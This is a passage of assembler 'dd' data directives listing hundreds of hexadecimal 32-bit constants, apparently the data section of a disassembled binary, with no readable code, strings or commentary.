2D8F77Eh, 0B23416A6h, 0B0A00F8Eh, 21DD17F2h, 6080B45Ah dd 91677C5Bh, 128C44E0h, 0E8E2180Ah, 0DC9B05C4h, 6CC082C8h dd 249BE373h, 0F4963A5h, 0DAA23EE9h, 0BC7C01EAh, 57E7F602h dd 2684B59h, 0DB323A88h, 0E0484519h, 6D55CBEFh, 0AEF5F810h dd 73662015h, 1886F270h, 0D881591Eh, 4CF89144h, 72327850h dd 5E918DEEh, 69822043h, 401A3303h, 8255494Ch, 609D9C04h dd 23901209h, 84112EF6h, 12113700h, 75363EBh, 82489438h dd 0D87C8959h, 0A97C69CBh, 4F34D081h, 245DD58Fh, 0A8007B68h dd 92D4461Dh, 66DC797Ah, 2150088Ah, 1DA01C00h, 18D0413Eh dd 0E05C010Bh, 73DFB76Eh, 0A2588079h, 0D46C5BECh, 9C7648E6h dd 0A0DC600h, 0D87BD748h, 28501732h, 4E47506h, 33C87618h dd 38E79E19h, 0C8D03421h, 4C18B705h, 0AC06EF5Dh, 657829E6h dd 6D3C0020h, 4F4AB2DFh, 0D0C8CD31h, 1DA7C08Eh, 8A46D445h dd 9F1B8879h, 0F1831D00h, 853FB9CCh, 0F9E612B2h, 5A0844E7h dd 1374FDD1h, 62AFE2E5h, 687ED5C0h, 8F50D480h, 142832B4h dd 0FFCBFB0Dh, 31332238h, 58900A48h, 0DF265F4Bh, 465E10C3h dd 66760056h, 6125CDA0h, 8C21B7FEh, 6B62DBD6h, 84DC10h dd 80BB71E4h, 2CFF7DCh, 3190FD81h, 9CD67C2Ah, 8D4F3505h dd 1DAA9060h, 0A2D42344h, 1E3E5211h, 38081D02h, 78A109F8h dd 816053CCh, 0E7BC51A0h, 0F9CCFA9Fh, 0DC4BF357h, 1EA9E60Bh dd 0D7983403h, 6C4819E2h, 0E099DD70h, 0A1CA883Dh, 13282B7Fh dd 0CA80892h, 0A79E46C0h, 753046E7h, 4E9F88h, 0FE85FB9Eh dd 6BB135BCh, 0CDA4800h, 0CE7F7355h, 3CB45020h, 9A900518h dd 0BC3D6239h, 0C008D288h, 0BC91C048h, 0B146D809h, 898E887Fh dd 4DFFBC04h, 0B4818C21h, 0CC40A5B5h, 799FEB8h, 8AE0B42Bh dd 0C85DD557h, 0A8DACF2Ch, 21084070h, 26E58144h, 408D5834h dd 28C04EB1h, 85814777h, 23B80A27h, 0C1F09608h, 3B1FDA41h dd 0EC58ACA3h, 6048A910h, 0C020CF80h, 0BC8B2E52h, 500B08B4h dd 1D21C020h, 0BE8D4076h, 8910BBFDh, 5E008C46h, 3FEF9B24h dd 0E47A2C2Dh, 8EE84000h, 7F93E35Fh, 7D33EE0Ah, 2BF912B6h dd 70804058h, 256189C6h, 0C895F404h, 4CA6FEBh, 0CE920A7Dh dd 0C3A06713h, 797B7047h, 533FFF7Ah, 0C88900FBh, 1D0E97F5h dd 0C0D90C6Eh, 91297646h, 0B5C4A400h, 0BDD78EAFh, 1EAA2E35h dd 0FC7E0673h, 6722F8A5h, 78255283h, 9E58E03h, 0B818698Ch dd 0D5AAF133h, 79C8B178h, 686185Ch, 0E3F1E538h, 0D19D504Ch dd 2B18B1D4h, 78260438h, 54A82080h, 43FFDC02h, 64675637h dd 2894670h, 0D4401DA6h, 10483182h, 1D9E22h, 3BA5E811h dd 8E71BF50h, 6D76B102h, 403F1CF1h, 827F3D3Ch, 6640B8DEh dd 0EDF20C3h, 0FA189937h, 22884B93h, 56FD4C02h, 0BBAE5500h dd 59FC090Dh, 0A0310EBEh, 4F1034F8h, 8E492900h, 0DE748DF5h dd 984E3F7Bh, 0ACC2E00Ah dd 2861407Ch, 1226CEA4h, 283C18E9h, 5A1474F3h, 12DC24BEh dd 0D02250A7h, 0BC97304Eh, 0A1D80317h, 909038h, 0D9A9BC8Fh dd 0DB7533A1h, 8AEF7000h, 1C09E77Eh, 9CF4822Ch, 0A323A960h dd 3E4E172Eh, 8CA0433h, 4A0482AEh, 7A3C032h, 3CC152D8h dd 0B5008C89h, 0E9883C7Ah, 681F1DE0h, 0BE438984h, 4C4BD870h dd 0D2016429h, 2878362h, 3C18244Ch, 41209090h, 0EFF60B7Bh dd 0D8DB6DC7h, 8BE7F483h, 0D018015Eh, 36E6B638h, 0D9F8209Bh dd 8121F215h, 4C22F0h, 0E2383AABh, 51A6F524h, 0D5B44000h dd 507FEDDAh, 8252697h, 4A8B0BE8h, 0AC971C29h, 66825291h dd 0F940B35Fh, 422FCE8Dh, 0B14CCC63h, 1885D16Ch, 7FF81Dh dd 0ACFDA14Eh, 0A4E7C665h, 0ADD93602h, 655B17C8h, 7C2C2Ch dd 62ED4B4Fh, 1C00AA46h, 0B280965h, 7416105Dh, 2EC10134h dd 61840C55h, 2A9DF8AEh, 820B633h, 0F0210039h, 0D4E48413h dd 64002806h, 6044C9E7h, 60A5D24Eh, 0DE786049h, 30CE558Ch dd 4340A035h, 721BA59h, 0C7E14A0Ch, 0AC51DCA9h, 4F7DD918h dd 7BB71838h, 76CA0EB1h, 58A3372Fh, 49005F8Dh, 0F6ED177Dh dd 194AECD5h, 8FCDE31h, 23218053h, 0A614ED0Fh, 0BA370C8Ah dd 0B548AC09h, 5D20C860h, 3F70B869h, 870144B0h, 45C3A9CEh dd 0F8844063h, 92073DA2h, 6DBF1550h, 0C6B533h, 497A2039h dd 0A7621A45h, 0E34AF300h, 0E9313B64h, 4F8F00B5h, 1A42EECCh dd 2D33AA57h, 0F83E78D7h, 7DB0702h, 10359334h, 0C150EC69h dd 9FFC4E00h, 80F8B71Bh, 0F0AF33BDh, 21002508h, 2EA0046Dh dd 0F33B412h, 726569C2h, 0F1980E00h, 98A052A1h, 50FFA8C8h dd 7AD80FA4h, 24B1B30Ch, 88BDF9B9h, 303A7DF8h, 0DE8800EAh dd 9861696Bh, 0AA49098Ch, 4115921h, 8061812h, 18AE6784h dd 0F64042C4h, 0A6E9840Dh, 9BA9A806h, 0E6486F61h, 4E549E1h dd 0D9B7FE0Eh, 3590A9CCh, 2397EA03h, 3769DBh, 256888E9h dd 0F351380Ah, 97F41815h, 0DE4C0170h, 46F8E1A9h, 55B21186h dd 0C0C0687Bh, 0B5022EEAh, 0A1E9C3C3h, 4AF87463h, 61195191h dd 0D9086942h, 5BFE2180h, 0C63EF174h, 33030779h, 0E9E1ADE2h dd 9A610A54h, 0C0646CF9h, 0B91196FDh, 0B4C67200h, 0E201F892h dd 0D8A5607Dh, 0CE8953E6h, 92AC2449h, 678EC306h, 0C24B0CA8h dd 0AE1860B1h, 3C85E118h, 2BAA4A58h, 13855E9h, 1BA2F04h dd 209C50A1h, 9D1D1F73h, 7ADAB3C1h, 1304B230h, 0BEDDE93Ch dd 0A3C2F185h, 8C1800A1h, 57D5ABC1h, 568D10C4h, 54829C90h dd 0F46900B7h, 2196E43h, 9F33BFFFh, 50F5A00Bh, 8C131031h dd 64840704h, 3F6210AEh, 840EF320h, 0A2B7027Dh, 75D5B24Bh dd 3EE9B500h, 62EC0329h, 3BB131C1h, 45D8891Dh, 69D0D200h dd 1F042CBh, 91C08D67h, 80DAB2E8h, 0A2A07618h, 9BC4FAh dd 9FF6F719h, 0C6AC2193h, 4114CE1Dh, 4C6C1807h, 0EE844F70h dd 0C1C4FAF1h, 32D92920h, 194880F6h, 8E84A553h, 0DB1700C0h dd 0E09D3EF3h, 1E007E61h, 1842BAF5h, 0E21F40B4h, 0C646006Ch dd 5BE9AF25h, 6201DECEh, 0D322679Ch, 28803C6Ah, 52C14A47h dd 0B3F8F9C4h, 18126230h, 280A7A0h, 72583DA1h, 4AC02CD9h dd 88C0E62Eh, 0EF11B346h, 34A630DAh, 84ECC630h, 93957603h dd 616DE2Bh, 0CC9D3F81h, 0F100A06Dh, 0B5A8D9BAh, 7B4B2940h dd 0A5450CC6h, 6C206A8Ch, 0C8D1920Ah, 0B27B20BEh, 189C30B5h dd 0C5502EF6h, 0E67B46A0h, 3F0E78EEh, 4C4247ECh, 0C0D308DCh dd 2ECE8021h, 933BF4E4h, 0D0E230F8h, 50F172CFh, 1891AC67h dd 18D516D8h, 28C405CDh, 41CE5EAh, 4AF543h, 22C2F4DFh dd 0B980A00Ch, 0B8735092h, 0CDBC0618h, 2885F96Ah, 793C700h dd 0CEFE5031h, 536D3052h, 66D86718h, 0F4801092h, 454913CAh dd 8C007C04h, 91CFC55Bh, 66C7683Ch, 213B0881h, 5B948400h dd 0D9934833h, 3A57841h, 0B981EFCCh, 8900689Eh, 3F6596E3h dd 491F7693h, 29000816h, 98F2F460h, 0F1FFFDBh, 4C0540Eh dd 3B79AD8Eh, 5EA3289Dh, 4E1430B8h, 0AAC23171h, 1903E479h dd 3ACD9AEBh, 0C1E1038Dh, 4A46F622h, 2EA80A90h, 3C49BC0Ch dd 1293711Eh, 21B82AE0h, 73B190h, 0A47E2FEh, 0B26B5F12h dd 404986E0h, 0F8193902h, 44813714h, 10110F0h, 5E154F0h dd 0FC2EBFD0h, 0C400E994h, 0F9A60AD7h, 0AB97E8Ch, 72CB26AFh dd 0F1290334h, 8003E49Ah, 0E8853F70h, 23E02465h, 2D9901C4h dd 0F095C0F4h, 0D350BDEEh, 0F1306AFCh, 0A39BE078h, 30B89042h dd 0CD913DE9h, 0E8195F2Dh, 4730BF5Ah, 0A61992h, 3CD9B69Ch dd 456EF08Dh, 6AC5A468h, 950C4C6h, 87C37318h, 60CC4828h dd 586291C4h, 0D9FBA300h, 0E77342B3h, 0F0973FF5h, 75256A05h dd 62201F8Dh, 34A53D3Ah, 248C6857h, 7C6B75CAh, 29309BBh dd 0B4027924h, 49214B84h, 79810542h, 0D2D374CEh, 8964200Dh dd 1ECFE38h, 0C32AA68Eh, 0F025029Ah, 85DF7182h, 8A004EC8h dd 49710CCAh, 9003870h, 0BEDCD344h, 65005848h, 67F5D79Dh dd 605101Bh, 44C2731Ch, 0BF08481Dh, 0E4888ADh, 18AC32Bh dd 291F4634h, 0E20039F0h, 0EB719775h, 411C54DAh, 3C804B7h dd 0AB6FA078h, 6ED09CCCh, 7132CB22h, 22C6009Eh, 716BF225h dd 61C01B1Eh, 8905C338h, 629F0691h, 8A799C2h, 0DF210F60h dd 14B805BAh, 0B836B23Ch, 1540AC3Bh, 0F09E58A1h, 8D7D291Fh dd 2E0CEC93h, 0B7D1D7h, 8E013699h, 4AA6809Dh, 0E7EEB600h dd 0DD3D8A8Dh, 1C921221h, 73C0607Ch, 0F4A4BFCFh, 3F289512h dd 629B5C22h, 777C4C34h, 463FFEC0h, 0CC22DCh, 502EC886h dd 61AE6DB3h, 13A3880Ch, 31C148h, 1B5E365Ch, 0E967EA58h dd 0EFFDE200h, 44996BC0h, 1DB60109h, 1C9E7CC3h, 33EC246Dh dd 9541D31Ch, 0F0C7570Ch, 0D5532A6Fh, 56CB20C0h, 6291540h dd 0D6B2F448h, 0E8C41008h, 9600475Ch, 6E709146h, 4C002492h dd 0F4C70579h, 331CE299h, 7A0881EDh, 71AB2113h, 9BE4CC00h dd 29A926Fh, 95C8F396h, 24909446h, 0C211057Ch, 848871F4h dd 574AE80h, 795FE1h, 8D8B2A8Eh, 6481B99h, 9ED1B904h, 74C07241h dd 0F64B0445h, 0D7810060h, 1C2C0DE8h, 0D407A4BBh, 50610264h dd 48BA66E0h, 95890D7Ah, 0F74819A1h, 0FB18400Eh, 810FE74Ah dd 8B0218AEh, 0DD097095h, 31BD8C26h, 0EC4500Dh, 890129EDh dd 822F3DB5h, 0D195FF0Ch, 16A0704h, 8703E850h, 0C358204Fh dd 55448922h, 164638D6h, 50400321h, 0A8C4EAC3h, 796D7A22h dd 4E0C6483h, 0C35D6155h, 8C6C89C8h, 1451844h, 0B8B1C355h dd 8D91DD22h, 1F806840h, 12B603DDh, 58FD1517h, 0CCC65084h dd 0FAE50C75h, 0C6B1A928h, 0C0276DD8h, 87684718h, 0C704B15Eh dd 2C21B5FFh, 38784A18h, 0B4D08AA9h, 22182068h, 716BF14h dd 0F30CAA6h, 6687CC80h, 180DBAF8h, 1237D03Dh, 0A06483FCh dd 0A4CB8B0Fh, 525ACA25h, 0C35AC38Ch, 18548991h, 52428815h dd 0D369C30Ch, 4041E2F9h, 1160E80Bh, 62B2EF23h, 3A9FA46h dd 0F2F09B3Ah, 0B5E04595h, 0ED0334CDh, 0E959C88Bh, 4B3350DBh dd 0ED0D41BDh, 8F178E0Eh, 0C539479Ch, 0C09E7AD3h, 294C3C8Bh dd 286156A5h, 8DAF526h, 850F4149h, 244DBB0Ch, 51C24B84h dd 20FE0D10h, 0F10781F2h, 33C9E7A1h, 0BBA294AAh, 390BE937h dd 5CFDE800h, 0C4BA0372h, 0B2C0D6F8h, 0BD092405h, 29002D1Dh dd 0CF816653h, 5F01245Ah, 67574514h, 0E2C3C7B3h, 1D317C89h dd 0C3574710h dd 8D961700h, 0BC6FCD7Eh, 0FB0124A3h, 0E25889Eh, 150A5912h dd 0F86852Ch, 4922D7B7h, 0E9863FC8h, 2D005913h, 0CE633A61h dd 371244h, 39F19231h, 0FADEE6C7h, 1B17307Dh, 9C03F883h dd 3012B85h, 0B6D98138h, 66C0785Fh, 0CC6229B9h, 40BBA57Ah dd 0F47FB177h, 912EF295h, 0FE8B0C5Ah, 0BF1F0FF8h, 358A01D7h dd 5A4A9209h, 0E93E0E11h, 516C0B60h, 1F064E0Dh, 9F8F5294h dd 306520F1h, 33C5A64h, 814C2CC4h, 0FF8F4FFCh, 0E54E8114h dd 50F90320h, 0A855BF1Eh, 9B60FC3Eh, 0BD890254h, 8A0F18C1h dd 8D890C82h, 614C25A5h, 0F58AB560h, 945CA850h, 514FAA1h dd 0B4DC75D7h, 9BC0644Dh, 0A795C03Eh, 306115A1h, 541B07E9h dd 250A38ACh, 0D49882D8h, 0D215766h, 2AFD8D03h, 0B5B0FB76h dd 0D1A1FE34h, 17C08CFCh, 19890EAAh, 0F31F759Dh, 0D00A30BFh dd 106A8DEAh, 6BC07C48h, 16033F9h, 0D5266352h, 151E45FAh dd 11200109h, 7B9269BDh, 1E90460h, 517EC82Fh, 2B611BC0h dd 9922ADBDh, 0CC64D8Bh, 2959B5BCh, 0E29F5353h, 260D3015h dd 0CA19C490h, 20FED25Dh, 20116DA8h, 50131979h, 0BD0C31F5h dd 1E047129h, 0C491C180h, 0C909798Dh, 0B709DBC8h, 225054B2h dd 49BCBAF1h, 1088A40h, 19458D14h, 14E8185Fh, 8F921Bh dd 694095DFh, 3522A0D2h, 6B1D000h, 0BE6DEA4Fh, 5EA52484h dd 9010173h, 421919Dh, 218D789Ch, 0CD082BF9h, 7E80C32h dd 0B001D969h, 0A01E2319h, 0B630FCBEh, 331A41A4h, 301CA2ABh dd 14003C73h, 0D799CAEFh, 60E9D660h, 0D590230Fh, 0A4007804h dd 5D76E8F3h, 14F44Ch, 8B265BC7h, 0E9BD83C0h, 75E01492h dd 61120962h, 1974202Ch, 2CC65350h, 0A0C9D2B8h, 0A828A10Fh dd 302C9DC0h, 0D3F44AB0h, 22AC585Bh, 200F1741h, 90AD1B11h dd 4CF124A4h, 18D131A9h, 8609DA18h, 87DBD190h, 0F853BF28h dd 31C65161h, 7D7205F1h, 9233910h, 264985C7h, 6C4D010Eh dd 68218831h, 0E4E7B80Ah, 2D17F9CEh, 0DA91073Dh, 0D46802E9h dd 0BCC005DBh, 13BD2819h, 56AAD60Eh, 0D23B6453h, 0B01249Fh dd 8BCC74C0h, 8432C2D8h, 0D3254B08h, 83660920h, 75091838h dd 4E5E00Ah, 0BF56DE8Ch, 0A4EF2540h, 50C5E17h, 465D3573h dd 0BD330428h, 0E80F1DC9h, 0BC710091h, 0BBC88A5Dh, 94BA0166h dd 0BD805902h, 418E2593h, 732685C5h, 4C555677h, 2332005Bh dd 0CA21C4A9h, 9C3C00BBh, 7764A5AAh, 195D12E9h, 48A1117h dd 9C12774Ch, 0E5370FF7h, 0C1666471h, 61B52941h, 5DAE4822h dd 89638CD6h, 0F4BED0C8h, 0D69700CEh, 9AAE9575h, 4D1820C5h dd 816643C0h, 18515CEFh, 3805032h, 38C58021h, 0DA200831h dd 8B234D2Dh, 232B2E93h, 0BBB10B15h, 780A6F9Bh, 0D3A560D1h dd 819BD08h, 37800DE8h, 1C94F107h, 0BA60153h, 572551D4h dd 142A73CEh, 3E89233Bh, 9DC480ACh, 78947DFAh, 67120E54h dd 0DB64E79Ch, 87428259h, 0CC898EA9h, 0C815D82h, 0F4A9DF2Eh dd 5EC9823Dh, 4237F3B5h, 11B0050h, 9108CD9Dh, 0AA50A56h dd 969844BBh, 0CE4ADC69h, 1EC5BF04h, 0D116600Ch, 21DB8101h dd 614D573Ah, 0F922908Ch, 955C3336h, 6C5A96E1h, 1753C14Fh dd 0BA881208h, 0AC20025h, 0D6DC4FA8h, 7D003D5Ch, 0FC786CCDh dd 0A04D88FDh, 880D84E3h, 0BC008E9h, 6A8FF74Ah, 4F561ADEh dd 4301E0BAh, 2647D980h, 0E9D040C3h, 0AE409E32h, 4D8ACA59h dd 0CEDBE0E2h, 4306C9CCh, 0DF36B25Bh, 882B3DEh, 0E90C10D5h dd 0F3170Ah, 538BC46Bh, 277DDFA7h, 5DB2A814h, 0B7133792h dd 252D95F1h, 80F88E64h, 6D54FBBFh, 64F0CB24h, 0F2AE7D01h dd 0FC50B333h, 0B3417D49h, 7E49655Ah, 962BEC70h, 2D3698A0h dd 0E694830Fh, 29028549h, 11F2DC22h, 826D5587h, 3D722276h dd 1E059510h, 4C584142h, 0A2C3110h, 46FBB70Fh, 4674B948h dd 45B70119h, 0E6D8B949h, 0A11D8374h, 0A9172E67h, 24038304h dd 0CC5F9D0Ch, 50F588E5h, 0E69255A4h, 86D932EFh, 44705E8h dd 8AE70942h, 1C8CA66Ah, 0A92025BDh, 294732C7h, 930D01D2h dd 94C887A3h, 0FE64E8B7h, 0C3596151h, 384C4493h, 510A4135h dd 5C28EDC3h, 2EA4E944h, 65E6002Ch, 6AD23B0Fh, 40117A3h dd 0EFF3B9B2h, 0CD607773h, 7124562Dh, 0F922144h, 135FD03h dd 9D2D82FDh, 0ED40BD29h, 0DD62EF7Dh, 512365DEh, 1817D9BFh dd 47D512A5h, 29E31C84h, 91D094CFh, 50F8B410h, 4475DFD0h dd 185693A9h, 24C3725Eh, 70CB7489h, 0C3005646h, 5FF120F9h dd 17B3A09h, 14B98627h, 2741D379h, 0D9810591h, 89615B6Fh dd 0A0C68529h, 0CA8B57EAh, 26FCCC5Fh, 0A20CB937h, 0B64BE1BFh dd 0AA238BC3h, 0B95B1F53h, 0E85C8914h, 0C35343E0h, 15906771h dd 4F1DA920h, 231E2F50h, 0CEC40118h, 8482A327h, 6480CAD4h dd 175D42B1h, 515C20EAh, 8009EDDh, 0E1534D85h, 15F10D72h dd 87A5A902h, 2AFCF98Ch, 114F178Ah, 8C878C14h, 0BD0318D7h dd 468590Dh, 0EF82849Ch, 4918789Ch, 8114BA95h, 9AD44h dd 24B58950h, 42A80FFDh, 6000FABEh, 0E28157h, 5B2DB3B8h dd 98D0359h, 8BA48E96h, 1E18959Fh, 96C085D1h, 69E4CF8Dh dd 7C2C160Ch, 8EB28B1Dh, 8952ACC6h, 284D101Fh, 0FB9BE91Bh dd 38618DD9h, 0B2735806h, 0DD42C19h, 3D131450h, 843D0950h dd 8B704D43h, 9057FA2Ah, 0C303BA01h, 5FE959A9h, 0D1D079A1h dd 121181Bh, 0D3BC7F63h, 8BA67417h, 102775BEh, 4C4CDA97h dd 86DE15C5h, 8E8BB1BAh, 140B4244h, 0D728D995h, 22919D82h dd 41EA1212h, 0ED2C607Dh, 0B1B58BC1h, 0F3CE072Bh, 1CA9AD61h dd 0A2946102h, 6158422h, 0CA216DBFh, 0E020683Ch, 89798FAh dd 0DE945ADh, 0C920F899h, 0C5120615h, 9B2AF25h, 8A2D9DEEh dd 0C1399ACBh, 8841CF72h, 2FAC2495h, 61C18B7Dh, 71A0AD66h dd 0C41383C9h, 2C016010h, 3205A177h, 79F75E8Fh, 8264C512h dd 0E0591549h, 0DF1FD3F1h, 8EBA78E1h, 18ECCE12h, 30B14E04h dd 29E88419h, 3258004Eh, 0F919B677h, 31E50021h, 0FED8A50h dd 7201BE33h, 2BD0A2F4h, 8064658Dh, 0BD81245Ah, 726F4315h dd 0E38461EAh, 0D68B44BAh, 0C4501498h, 35FAF70Eh, 0BC4203B6h dd 0CC45165Bh, 68044400h, 96A3184Fh, 0D8568B78h, 0C30A4A2Ch dd 4A484342h, 748943ABh, 0EB3A3108h, 5BC96594h, 919C10ACh dd 1A465Eh, 0ED925579h, 0E45209A7h, 0D491548Dh, 5199E9h dd 8EBFB665h, 6A010150h, 2F68ABF0h, 0D3210388h, 222CA325h dd 0FE275FD4h, 0F98B2510h, 0F43E279Ch, 65172269h, 4B8B962Bh dd 0A59876DFh, 91C82D51h, 96BA8152h, 225AB3FAh, 8C35C8E5h dd 0A14AA6B2h, 6432C782h, 60C46214h, 0C819A93Eh, 1821183h dd 441875B5h, 67836005h, 0DAD0F2BAh, 0B6115E96h, 69133F48h dd 17E03C2Ch, 1151608Ah, 0E4E0991Bh, 4603523Bh, 96E98CAEh dd 0D1AA828Fh, 0AA04E0Ah, 16FD2A8Dh, 0CA4B851Dh, 10086AD2h dd 0B7838012h, 0FC8F39E9h, 0C7362A00h, 0EB65BA1Dh, 7B37F34h dd 5A53AF9Dh, 0DDE9125Fh, 80FC9DA4h, 5DB966E0h, 0FC3C304Ch dd 0D4E48FD4h, 9529092Fh, 60C8A665h, 0CB1202Eh, 62263698h dd 81879EC2h, 6D70E2C9h, 0A33F6829h, 8AB284A6h, 334F4500h dd 37861B7Eh, 8A38C9EEh, 2556596Ah, 955E2A27h, 3F108A67h dd 25A73E4h, 5DC50970h, 0BBC25619h, 0F3AE5AD9h, 0A32526ACh dd 0D003B91Ah, 2E802B27h, 582D8CDAh, 0F7D9018Dh, 6D273AD4h dd 7F7959E2h, 0E3F1FC03h dd 9BFEE0FDh, 0B41A0074h, 6C5C5793h, 0FF404D79h, 0E5112FF2h dd 0DB62978Bh, 18793B51h, 5D0B3218h, 822A29D0h, 79058DE1h dd 0A81AC98h, 0A731499h, 1F1030F1h, 0BC39958Bh, 18E8749h dd 0C92CA5C5h, 39D9F917h, 90A77EC4h, 0A2601A44h, 0E9777BB4h dd 482D0B34h, 8725B46Fh, 1CFC9844h, 6F21A300h, 1A71D720h dd 8FA63D0Fh, 5DC2A31h, 0F05B4414h, 0FF76688Dh, 3DFF0F54h dd 0F9D407FDh, 42227DCBh, 1F8DF4FFh, 974993A4h, 0BCE75914h dd 31E15C48h, 3B3AC904h, 0F57E849Fh, 29E001A6h, 3D8C040Eh dd 78F5648Ah, 704536Dh, 29F450FAh, 9523883Ah, 84275524h dd 29894849h, 142AE5B5h, 16888253h, 18FE93A0h, 0C1812694h dd 7AE95724h, 0D2EA9017h, 2E48DE7Eh, 423E2A1Fh, 8D3EF864h dd 0D2B55BE4h, 0C8B78E1Eh, 0C90EC018h, 2B5C4F4Dh, 0CE352A6Fh dd 0C8E0BF06h, 25D401F4h, 14B12365h, 3A2E1425h, 0A0051423h dd 0DA09F957h, 6A0690BDh, 96ECDE10h, 8431382Dh, 22825CA2h dd 0D452199h, 69F30E25h, 0A9851BBh, 0C0E3CE8Ah, 0B70F50FCh dd 2EE2D356h, 1F100101h, 8529328Ah, 10FCE5D2h, 0E82C427Ch dd 0ABA54056h, 0AD5C77CFh, 0F4D40009h, 230BB31Ch, 0D3140590h dd 645FFB8Bh, 99EC81E3h, 1108330Dh, 8940AD8Dh, 3F1B5BD1h dd 1D23BEh, 3AB33D82h, 6E02CE6Dh, 0B2E678A6h, 91174C50h dd 5FE2809Ch, 74FEC470h, 2E477F01h, 13C97CC5h, 0CBA73E8h dd 759D011Bh, 91A15997h, 7FBF112Ah, 994496FCh, 99D61F4h dd 9653222Bh, 0DE1B704h, 0FA2E2625h, 461D154Dh, 0E1810126h dd 350A73C1h, 78608942h, 872D0253h, 1DF9B531h, 80686101h dd 0BFC2A36Dh, 0E57B3BCFh, 82F96AC7h, 0B0194539h, 0A41D99CCh dd 30F92008h, 0C0C62497h, 1CF258A2h, 39DE2030h, 4E06D68Ch dd 0D2DB5508h, 1280EA05h, 6E2860Fh, 0FB0CC380h, 460056F7h dd 5AE4C87Dh, 0AA4E21Bh, 1CE31A9Dh, 27B691F0h, 0EC0C4CF5h dd 54B5AA41h, 5C642E7h, 9BD3300h, 0CDEF8320h, 0E9DA60B0h dd 560121DCh, 93286029h, 1002CC21h, 40CC4102h, 6E4E627Ch dd 0FDF92884h, 1AAD95B4h, 9FDC815Fh, 0BC15AF5h, 0C926E1DCh dd 4259D0A3h, 0B37DD303h, 360990FAh, 21B53901h, 0F25AC8CBh dd 5742EF64h, 82D0E680h, 0B84E7988h, 79B510A9h, 0E580062Fh dd 805C61F2h, 961F5596h, 8FFC92F3h, 0FED88810h, 0B6F5D842h dd 3638E016h, 0E5340AC5h, 10AB3196h, 0EB1A4B09h, 44EA47C2h dd 99966317h, 51682E80h, 47729645h, 4B75B650h, 0BFCBC80Ah dd 0B0AD663h, 8690FD95h, 4A318D03h, 892A7214h, 8544BD74h dd 4187BA9Eh, 0B3811BC5h, 0CEEEA63Ch, 28CF05C1h, 0E781C043h dd 4F4098E2h, 78810F23h, 0CB603457h, 8276224Bh, 40C1569Fh dd 3BB619FDh, 78C72B00h, 63606A91h, 70F46Ch, 16A764D5h dd 0B50928CFh, 2E66AD59h, 6D6B745Ah, 0AF82E027h, 0C3A198D3h dd 0E99F515Dh, 2722A630h, 0B164676h, 843DC193h, 5794A93Bh dd 5A23A9D8h, 50F649BDh, 0DE001344h, 5FF8B33Bh, 143DD8F6h dd 0ECE11F81h, 31BEB378h, 6225EDAAh, 0E60193BEh, 5A391FE0h dd 0C73B9F66h, 6E1EDD10h, 898B176Bh, 0BAC019C8h, 49D57D95h dd 3141C68Fh, 1CEEC11h, 1D882E4Eh, 4E48F0C0h, 135A02ACh dd 9B96CD2Fh, 0FC1C9B82h, 0C29D3103h, 74CC281Ah, 0D33D1946h dd 0A92004FDh, 0E2016AEBh, 0C06200ECh, 5194344Eh, 0AA700065h dd 6461EF31h, 22C33B3h, 0BBC8C963h, 8A483611h, 8A40593Dh dd 4A14EA52h, 1812E88h, 0ADD949A5h, 66CF9004h, 291450E4h dd 9C4D0541h, 38C23D5Bh, 0BA45FEB1h, 0D1507F91h, 12A5F6E7h dd 0DEA99D29h, 0C0188817h, 1DD4A7C2h, 0E9E9F924h, 0E25B5340h dd 883A0064h, 0D108EAD0h, 682C84A3h, 0E502531Eh, 0FF74334Dh dd 0D9945FD2h, 0D0BC00DCh, 0EFD13CDEh, 8B176081h, 98479585h dd 58198D89h, 0C3614943h, 6AC28180h, 7A0269CFh, 0E4BA6650h dd 0F4B44CCCh, 8AAA25BFh, 0CA8B7030h, 8005AF93h, 0FB6154EDh dd 0FC488E0Fh, 1FBE7F60h, 0D0047091h, 30944A61h, 665FE4AFh dd 63FBA800h, 2DD4F7D9h, 328A029Fh, 5FCB8BC1h, 95092E90h dd 38245D25h, 9F8D0F06h, 7700DA14h, 56BCD408h, 7E83CBADh dd 0F7191CB5h, 0F58A49FFh, 8EA6E171h, 1B4674h, 7B858609h dd 48BDFCB8h, 0E2C0A96Fh, 3668CC3Fh, 778C3500h, 0EA1979E0h dd 0C12F0AF7h, 0AA36901h, 9662BA5h, 0F9D120BDh, 99181BD9h dd 63F7FE01h, 0B94CF075h, 41699330h, 22A22C15h, 2E76CA18h dd 2ECA250Ch, 7AF09B0Fh, 3B3CB526h, 6A5522B2h, 69D376B6h dd 0A228DB18h, 4FFC38h, 0BDCA5BFBh, 2E0CD2DDh, 298E4EF8h dd 181CD1A8h, 3EA13F0Eh, 0A8EE9A03h, 0D12E37B3h, 8664080Fh dd 8FEDB589h, 3900FF4Bh, 5B83F19Ch, 0AE27DEF2h, 2805E60Dh dd 0EC3A870Fh, 21249989h, 821F80E1h, 5C9614E5h, 0A628FD1Eh dd 0C1BD6600h, 6B43D987h, 924B94ABh, 8DC0F3B3h, 97A51CC5h dd 8F7FBA01h, 45286A53h, 317A0B22h, 7DDBE500h, 8374E24Bh dd 0BCB948ACh, 5968E00Ch, 0BD7A01E8h, 65DC1D4Fh, 78D20BBAh dd 0C18B7EAAh, 2EC0826Dh, 12B92CC4h, 0A2FB0F25h, 0A5A0004Dh dd 0EE422F62h, 71DC0020h, 641CF711h, 0D44AF48Ch, 0D9236F3Eh dd 0D30BD9F9h, 5E03C7A2h, 261D9BEDh, 0FCB7B9F0h, 5A4FD90Dh dd 0BA6392F8h, 27608E01h, 0FFE35895h, 9CB096E8h, 0B150DE00h dd 0CD887D86h, 0C2314F49h, 5A0409CBh, 4D37D5BCh, 82D864ABh dd 0BF220546h, 43CE8396h, 0E5A61853h, 89032921h, 50EBD3E5h dd 20D306AEh, 1012FDE1h, 9DD5C5Bh, 300214F7h, 0C92E15B5h dd 9802E479h, 3E5149BCh, 7D21CD4Fh, 619D83FFh, 8D410B1Bh dd 209108F5h, 0A2793360h, 7C143015h, 74C88A34h, 0F5086E56h dd 9D09030Bh, 694027B9h, 75B6359Dh, 118E17CBh, 0BFD69914h dd 230BBE6Ch, 0BE43C995h, 4790C13h, 0DC18B092h, 98C5BDDAh dd 538FE19Ah, 0B9610260h, 62B14988h, 856951D4h, 0D2B8C86Ch dd 0DE981C0h, 3D4F10B1h, 76771E05h, 26801998h, 0C7DD63C1h dd 91A1F629h, 7B85908Ch, 26115C4h, 0FBC0ACD5h, 1840C04Eh dd 18FF281h, 0C7236F6Dh, 282B1985h, 0C2ACD86Dh, 60460342h dd 227D9D23h, 0BD763F76h, 45051E97h, 6288D93Ch, 315104DFh dd 61F0A98Dh, 8C3D2859h, 